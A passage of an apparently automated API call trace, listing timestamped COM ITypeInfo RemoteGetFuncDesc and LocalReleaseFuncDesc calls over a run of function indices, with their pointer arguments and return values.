[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x77, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x78, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x79, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x7f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x80, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x81, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x82, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x83, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x84, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.570] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.570] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x85, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x86, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x87, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x88, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x89, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x8f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x90, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x91, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x92, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x93, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x94, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x95, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x96, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x97, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.571] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.571] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x98, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x99, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9a, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9b, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9c, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9d, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9e, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0x9f, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xa9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xaa, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xab, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.572] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.572] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xac, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xad, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xae, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xaf, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.573] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.573] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xb9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xba, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xbb, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xbc, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xbd, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x76edf08
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xbe, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x7592930
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xbf, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc2, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc3, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc4, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc5, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc6, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc7, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x74b30c8
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc8, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.574] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.574] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xc9, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xca, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xcb, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xcc, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xcd, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xce, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xcf, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd0, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75ed1c0
[0030.575] ITypeInfo:RemoteGetFuncDesc (in: This=0x756c55c, index=0xd1, ppFuncDesc=0x3083a0, pDummy=0x7531750 | out: ppFuncDesc=0x3083a0, pDummy=0x7531750*=0x73fb010) returned 0x0
[0030.575] ITypeInfo:LocalReleaseFuncDesc (This=0x756c55c) returned 0x75f0e10
